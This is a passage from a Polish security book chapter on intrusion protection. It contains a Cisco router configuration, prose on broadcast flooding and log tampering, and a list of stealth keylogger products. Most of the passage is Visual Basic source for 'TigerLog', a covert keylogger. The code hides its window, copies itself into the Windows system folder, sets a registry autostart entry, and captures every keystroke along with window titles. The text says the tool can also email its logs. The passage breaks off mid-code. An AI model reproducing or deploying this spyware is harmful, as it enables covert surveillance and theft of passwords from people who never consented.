ip inspect name Ethernet_0 tftp
!
! IP inspect Serial_0
!
ip inspect name Serial_0 tcp
ip inspect name Serial_0 udp
ip inspect name Serial_0 cuseeme
ip inspect name Serial_0 ftp
ip inspect name Serial_0 h323
ip inspect name Serial_0 rcmd
ip inspect name Serial_0 realaudio
ip inspect name Serial_0 smtp
ip inspect name Serial_0 streamworks
ip inspect name Serial_0 vdolive
ip inspect name Serial_0 sqlnet
ip inspect name Serial_0 tftp
!
interface Ethernet 0
no shutdown
description connected to Ethernet LAN
ip address 172.29.41.1 255.255.255.0
ip inspect Ethernet_0 in
ip access-group 100 in
keepalive 10
!
interface Serial 0
no shutdown
description connected to Remote network
ip address 172.29.42.1 255.255.255.252
ip inspect Serial_0 in
ip access-group 101 in
encapsulation hdlc
!
! Lista kontroli dost
ę
pu 100
!
access-list 100 deny ip 172.29.42.0 0.0.0.3 any
access-list 100 deny ip 172.29.43.0 0.0.0.255 any
access-list 100 permit udp any eq rip any eq rip
access-list 100 permit ip any 172.29.42.0 0.0.0.3
access-list 100 permit ip any 172.29.43.0 0.0.0.255
!
! Lista kontroli dost
ę
pu 101
!
access-list 101 deny ip 172.29.41.0 0.0.0.255 any
access-list 101 permit udp any eq rip any eq rip
access-list 101 deny tcp 172.29.41.0 0.0.0.255 eq 23
access-list 101 deny tcp 172.29.41.0 0.0.0.255 eq 107
172
Hack Wars. Tom 2. Na tropie hakerów
172
access-list 101 permit ip any 172.29.41.0 0.0.0.255
!
router rip
version 2
network 172.29.0.0
no auto-summary
!
!
ip classless
no ip http server
snmp-server community local RO
no snmp-server location
no snmp-server contact
!
line console 0
exec-timeout 0 0
password 7 password
login
!
line vty 0 4
password 7 password
login
Sprawdź u swojego producenta dostępność konkretnych procedur przeciwdziałają-
cych przepełnianiu. Wiele interfejsów lub konsoli do lokalnego zarządzania Internetem
jeszcze bardziej ułatwia ustawienie odpowiednich opcji. Na rysunku 2.6 przyjrzyj się
systemowi „wskaż i zaznacz” w programie NetScreen.
Rysunek 2.6.
System „wskaż
i zaznacz”
w programie
NetScreen sprawia,
ż
e nawet
zaawansowane opcje
zabezpieczeń stają się
proste
Kolejnym popularnym atakiem hakerów jest rozgłaszanie (broadcasting). Według defini-
cji zawartej w pierwszym tomie tej książki, oznacza to sposób transmisji czegoś we
wszystkich kierunkach. Większość protokołów komunikacyjnych udostępnia funkcję
wysyłania komunikatów do wszystkich węzłów w sieci. Dlatego też ważne jest, aby po-
dzielić większe sieci na mniejsze części przy użyciu mostów i routerów, ponieważ takie
mniejsze segmenty tworzą oddzielne domeny rozgłaszania. Wyobraź sobie pojedynczą
sieć z 250 węzłami, która padła ofiarą przepełnienia przez rozgłaszanie. Napastnik może
z łatwością zablokować całą przepustowość sieci. Jeśli jednak taka sieć zostanie wła-
ś
ciwie podzielona na segmenty, routery i mosty będą mogły filtrować takie ataki, nie
przesyłając po prostu takich transmisji przez interfejsy. W większości przypadków taka
funkcja blokowania jest włączona domyślnie. Należy również pamiętać, iż możesz,
a czasami nawet powinieneś, uzupełnić taką blokadę, używając narzędzia do podsłu-
chiwania pakietów (sniffer).
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
173
173
Ochrona przed manipulacją dziennikami
Manipulacja dziennikami to środek działania hakerów, służący do edycji dziennika
nadzoru w celu usunięcia wszelkich śladów aktywności w systemie docelowym. Do
tego celu hakerzy często używają oprogramowania osłaniającego, które wyszukuje
i niszczy dzienniki, oznakowania i pliki tymczasowe.
W pierwszym tomie tej książki omówiliśmy typowe techniki manipulacji dziennikami
w systemach Windows i UNIX, wykonywane w standardowych warunkach operacyj-
nych. W tej części skupimy się na sposobach zabezpieczenia tych procedur, co obejmu-
je metody archiwizacji w celu zapewnienia poprawnego działania funkcji zapisu dzien-
ników. Ta funkcja może być niezmiernie przydatna w czasie zbierania jednoznacznych
dowodów na ataki hakerów, a także w przypadku rozwiązywania problemów związanych
z potencjalnymi konfliktami modyfikacji systemu. Istnieją również pewne logiczne proce-
dury techniczne, które pomogą zabezpieczyć pliki dzienników, a także zaimplementować
redundancję (nadmiarowość).
Zapisywanie zdarzeń w plikach dzienników jest ważną funkcją systemów operacyj-
nych, urządzeń sieciowych oraz demonów usług. Posiadanie takich informacji, jak mo-
dyfikacje konfiguracji, status operacyjny, status logowania oraz wykorzystanie proce-
sów, może oszczędzić wiele czasu poświęconego na rozwiązywanie problemów i badanie
zabezpieczeń. Funkcja tworzenia dzienników przez system, przeglądarkę, terminal
i demony powinna stać się częścią procedury codziennego zbierania informacji sys-
temowych. Dla przykładu pliki dzienników przeglądarki są przechowywane w poniżej
przedstawionych katalogach. Można je wykorzystać w czasie codziennej archiwizacji.
NETSCAPE
\Netscape\Users\default\cookies.txt
\Netscape\Users\default\netscape.hst
\Netscape\Users\default\prefs.js
\Netscape\Users\default\Cache\*.*
INTERNET EXPLORER
\Windows\Tempor~1\index.dat
\Windows\Cookies\index.dat
\Windows\History\index.dat
Dzienniki demonów usług są znacznie prostsze do zarządzania; do tego celu można wyko-
rzystać zapytania bazy danych, na przykład Accessa, Oracle’a lub SQL-a, lub bezpośredni
dostęp do pliku, co zilustrowano na rysunku 2.7. W zależności od wykorzystania pliki
dzienników powinny być regularnie archiwizowane. Zauważ jednakże, iż monitorowanie
adresów URL, dostępu przez FTP oraz obsługa dzienników przeglądarki i proxy może
znacznie zwiększyć wymagane nakłady.
174
Hack Wars. Tom 2. Na tropie hakerów
174
Rysunek 2.7.
Ustawianie funkcji
dzienników demona
usługi
Głównym problemem spowodowanym przez manipulację dziennikami jest usunięcie
ich samych lub likwidacja danych po nieautoryzowanej penetracji. Z tego powodu
omówimy techniki ukrytego tworzenia dzienników. Oprócz wcześniej wymienionych,
znanych procedur tworzenia dzienników, ukryte dzienniki z ograniczonym dostępem
(który zostaje przyznany tylko kilku zaufanym administratorom) mogą być świetną alter-
natywą. W niektórych przypadkach jednak może być zalecane lub konieczne przydziele-
nie odpowiedzialności za ukryte dzienniki wielu osobom, które nie współpracują ze sobą.
Różne punkty widzenia tych osób mogą spowodować ulepszenie sposobu rozwiązywa-
nia konfliktów. Niezależnie od tego ukryte dzienniki z ograniczonym dostępem mogą
zostać zaimplementowane przy użyciu własnej techniki w celu monitorowania osób ko-
rzystających z danego komputera (na przykład użytkowników z ograniczonymi prawa-
mi, takich jak małe dzieci) oraz śledzenia wszystkich czynności wykonywanych ręcznie.
Choć takie programy do tworzenia dzienników mogą być bardzo skomplikowane, są
one relatywnie łatwe do zakodowania; istnieją również setki narzędzi typu shareware, fre-
eware lub komercyjnych. Aby szybko je pobrać i przetestować, poszukaj takich
programów w wersji dla Windows i UNIX na witrynach C|Net (download.cnet.
com), TuCows (www.tucows.com), Shareware.com (www.shareware.com) i ZDNet
(www.zdnet.com/downloads). Oto kilka najpopularniejszych programów:
Stealth Activity Recorder and Reporter (STARR) firmy IOPUS Software
(www.iopus.com),
Invisible KeyLogger firmy Amecisco (www.amecisco.com),
KeyInterceptor firmy UltraSoft (www.ultrasoft.ro),
Ghost KeyLogger firmy Sure Shot (http://sureshot.virtualave.net).
Domowi i prywatni użytkownicy mogą również dostosować narzędzie TigerLog
(patrz rysunek 2.8) w celu pełnego, ukrytego zapisywania w dzienniku wciskanych
klawiszy. TigerLog oferuje możliwość modyfikacji klawiszy, które mają być zapisy-
wane, zmiany sekwencji klawiszy aktywującej wyświetlenia okna podsłuchu sesji
(obecnie Shift+F12), zmiany położenia i domyślnej nazwy pliku dziennika (/Windows/
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
175
175
System/TigerLog.TXT), a także wysłania zawartości pliku dziennika po jego zapeł-
nieniu na wybrany adres e-mailowy (ktos@serwer_poczty.com) przy użyciu serwera
SMTP (mail.mailserver.net). Poniżej znajduje się najbardziej aktualna kompilacja Ti-
gerLoga.
Rysunek 2.8.
TigerLog (widoczny
tryb podsłuchu sesji)
do ukrytego
monitorowania
aktywności systemu
i zapisywania
w dzienniku
wciśniętych klawiszy
TigerLog
Private Declare Function Getasynckeystate Lib "user32" Alias
"GetAsyncKeyState" (ByVal VKEY As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey
As Long) As Integer
Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal
hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long,
ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal
hKey As Long, ByVal lpValueName As String, ByVal Reserved As
Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData
As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey
As Long) As Long
Private Declare Function RegisterServiceProcess Lib "Kernel32.dll"
(ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32.dll" () As
Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As
Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal Y As
Long, ByVal cX As Long, ByVal cY As Long, ByVal wFlags As Long)
As Long
Private Declare Function GetWindowText Lib "user32" Alias
"GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String,
ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias
"GetWindowTextLengthA" (ByVal hWnd As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias
"GetComputerNameA" (ByVal lpBuffer$, nSize As Long) As Long
Private Declare Function GetUserName Lib "advapi32.dll" Alias
"GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Private Const VK_CAPITAL = &H14
Const REG As Long = 1
Const HKEY_LOCAL_MACHINE As Long = &H80000002
Const HWND_TOPMOST = -1
Const SWP_NOMOVE = &H2
Const SWP_NOSIZE = &H1
Const flags = SWP_NOMOVE Or SWP_NOSIZE
Dim currentwindow As String
Dim logfile As String
176
Hack Wars. Tom 2. Na tropie hakerów
176
Public Function CAPSLOCKON() As Boolean
Static bInit As Boolean
Static bOn As Boolean
If Not bInit Then
While Getasynckeystate(VK_CAPITAL)
Wend
bOn = GetKeyState(VK_CAPITAL)
bInit = True
Else
If Getasynckeystate(VK_CAPITAL) Then
While Getasynckeystate(VK_CAPITAL)
DoEvents
Wend
bOn = Not bOn
End If
End If
CAPSLOCKON = bOn
End Function
Private Sub Command1_Click()
Form1.Visible = False
End Sub
Private Sub Form_Load()
If App.PrevInstance Then
Unload Me
End
End If
HideMe
Hook Me.hWnd
Dim mypath, newlocation As String, u
currentwindow = GetCaption(GetForegroundWindow)
mypath = App.Path & "\" & App.EXEName & ".EXE" 'nazwa aplikacji
newlocation = Environ("WinDir") & "\system\" & App.EXEName & ".EXE"
On Error Resume Next
If LCase(mypath) <> LCase(newlocation) Then
FileCopy mypath, newlocation
End If
u = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"Software\Microsoft\Windows\CurrentVersion\RunServices", 0,
KEY_ALL_ACCESS, a)
u = RegSetValueExA(a, App.EXEName, 0, REG, newlocation, 1)
u = RegCloseKey(a)
logfile = Environ("WinDir") & "\system\" & App.EXEName & ".TXT"
'nazwa_aplikacji.txt w Windows\system
Open logfile For Append As #1
Write #1, vbCrLf
Write #1, " -- Start: " & Now & "]"
Write #1, String$(50, "-")
Close #1
End Sub
Private Sub Form_Unload(Cancel As Integer)
UnHook Me.hWnd
texter$ = Text1
Open logfile For Append As #1
Write #1, texter
Write #1, String$(50, "-")
Write #1, " -- End: " & Now & "]"
Close #1
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
177
177
End Sub
Private Sub Timer1_Timer()
If currentwindow <> GetCaption(GetForegroundWindow) Then
currentwindow = GetCaption(GetForegroundWindow)
Text1 = Text1 & vbCrLf & vbCrLf & "[" & Time & " - Current Window:
" & currentwindow & "]" & vbCrLf
End If
‘aktywacja formularza poprzez shift + f12
Dim keystate As Long
Dim Shift As Long
Shift = Getasynckeystate(vbKeyShift)
'klawisze do przechwycenia
keystate = Getasynckeystate(vbKeyA)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "A"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "a"
End If
keystate = Getasynckeystate(vbKeyB)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "B"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "b"
End If
keystate = Getasynckeystate(vbKeyC)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "C"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "c"
End If
keystate = Getasynckeystate(vbKeyD)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "D"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "d"
End If
178
Hack Wars. Tom 2. Na tropie hakerów
178
keystate = Getasynckeystate(vbKeyE)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "E"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "e"
End If
keystate = Getasynckeystate(vbKeyF)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "F"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "f"
End If
keystate = Getasynckeystate(vbKeyG)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "G"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "g"
End If
keystate = Getasynckeystate(vbKeyH)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "H"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "h"
End If
keystate = Getasynckeystate(vbKeyI)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "I"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "i"
End If
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
179
179
keystate = Getasynckeystate(vbKeyJ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "J"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "j"
End If
keystate = Getasynckeystate(vbKeyK)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "K"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "k"
End If
keystate = Getasynckeystate(vbKeyL)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "L"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "l"
End If
keystate = Getasynckeystate(vbKeyM)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "M"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "m"
End If
keystate = Getasynckeystate(vbKeyN)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "N"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "n"
End If
180
Hack Wars. Tom 2. Na tropie hakerów
180
keystate = Getasynckeystate(vbKeyO)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "O"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "o"
End If
keystate = Getasynckeystate(vbKeyP)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "P"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "p"
End If
keystate = Getasynckeystate(vbKeyQ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "Q"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "q"
End If
keystate = Getasynckeystate(vbKeyR)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "R"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "r"
End If
keystate = Getasynckeystate(vbKeyS)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "S"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "s"
End If
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
181
181
keystate = Getasynckeystate(vbKeyT)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "T"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "t"
End If
keystate = Getasynckeystate(vbKeyU)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "U"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "u"
End If
keystate = Getasynckeystate(vbKeyV)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "V"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "v"
End If
keystate = Getasynckeystate(vbKeyW)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "W"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "w"
End If
keystate = Getasynckeystate(vbKeyX)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "X"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "x"
End If
keystate = Getasynckeystate(vbKeyY)
182
Hack Wars. Tom 2. Na tropie hakerów
182
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "Y"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "y"
End If
keystate = Getasynckeystate(vbKeyZ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "Z"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1)
Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) =
&H1) Then
Text1 = Text1 + "z"
End If
keystate = Getasynckeystate(vbKey1)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "1"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "!"
End If
keystate = Getasynckeystate(vbKey2)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "2"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "@"
End If
keystate = Getasynckeystate(vbKey3)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "3"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "#"
End If
keystate = Getasynckeystate(vbKey4)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "4"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "$"
End If
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
183
183
keystate = Getasynckeystate(vbKey5)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "5"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "%"
End If
keystate = Getasynckeystate(vbKey6)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "6"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "^"
End If
keystate = Getasynckeystate(vbKey7)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "7"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "&"
End If
keystate = Getasynckeystate(vbKey8)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "8"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "*"
End If
keystate = Getasynckeystate(vbKey9)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "9"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "("
End If
keystate = Getasynckeystate(vbKey0)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "0"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + ")"
End If
184
Hack Wars. Tom 2. Na tropie hakerów
184
keystate = Getasynckeystate(vbKeyBack)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{bkspc}"
End If
keystate = Getasynckeystate(vbKeyTab)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{tab}"
End If
keystate = Getasynckeystate(vbKeyReturn)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + vbCrLf
End If
keystate = Getasynckeystate(vbKeyShift)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{shift}"
End If
keystate = Getasynckeystate(vbKeyControl)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{ctrl}"
End If
keystate = Getasynckeystate(vbKeyMenu)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{alt}"
End If
keystate = Getasynckeystate(vbKeyPause)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{pause}"
End If
keystate = Getasynckeystate(vbKeyEscape)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{esc}"
End If
keystate = Getasynckeystate(vbKeySpace)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + " "
End If
keystate = Getasynckeystate(vbKeyEnd)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{end}"
End If
keystate = Getasynckeystate(vbKeyHome)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{home}"
End If
keystate = Getasynckeystate(vbKeyLeft)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{left}"
End If
keystate = Getasynckeystate(vbKeyRight)
Rozdział 2.
♦
♦
♦
♦
Mechanizmy ochrony przed włamaniami
185
185
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{right}"
End If
keystate = Getasynckeystate(vbKeyUp)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{up}"
End If
keystate = Getasynckeystate(vbKeyDown)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{down}"
End If
keystate = Getasynckeystate(vbKeyInsert)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{insert}"
End If
keystate = Getasynckeystate(vbKeyDelete)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{Delete}"
End If
keystate = Getasynckeystate(&HBA)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + ";"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + ":"
End If
keystate = Getasynckeystate(&HBB)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "="
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "+"
End If
keystate = Getasynckeystate(&HBC)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + ","
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "<"
End If
keystate = Getasynckeystate(&HBD)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "-"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "_"
End If
keystate = Getasynckeystate(&HBE)
186
Hack Wars. Tom 2. Na tropie hakerów
186
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "."
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + ">"
End If
keystate = Getasynckeystate(&HBF)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "/"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "?"
End If
keystate = Getasynckeystate(&HC0)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "'"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "~"
End If
keystate = Getasynckeystate(&HDB)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "["
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "{"
End If
keystate = Getasynckeystate(&HDC)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "\"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "|"
End If
keystate = Getasynckeystate(&HDD)
If Shift = 0 And (keystate And &H1) = &H1 Then
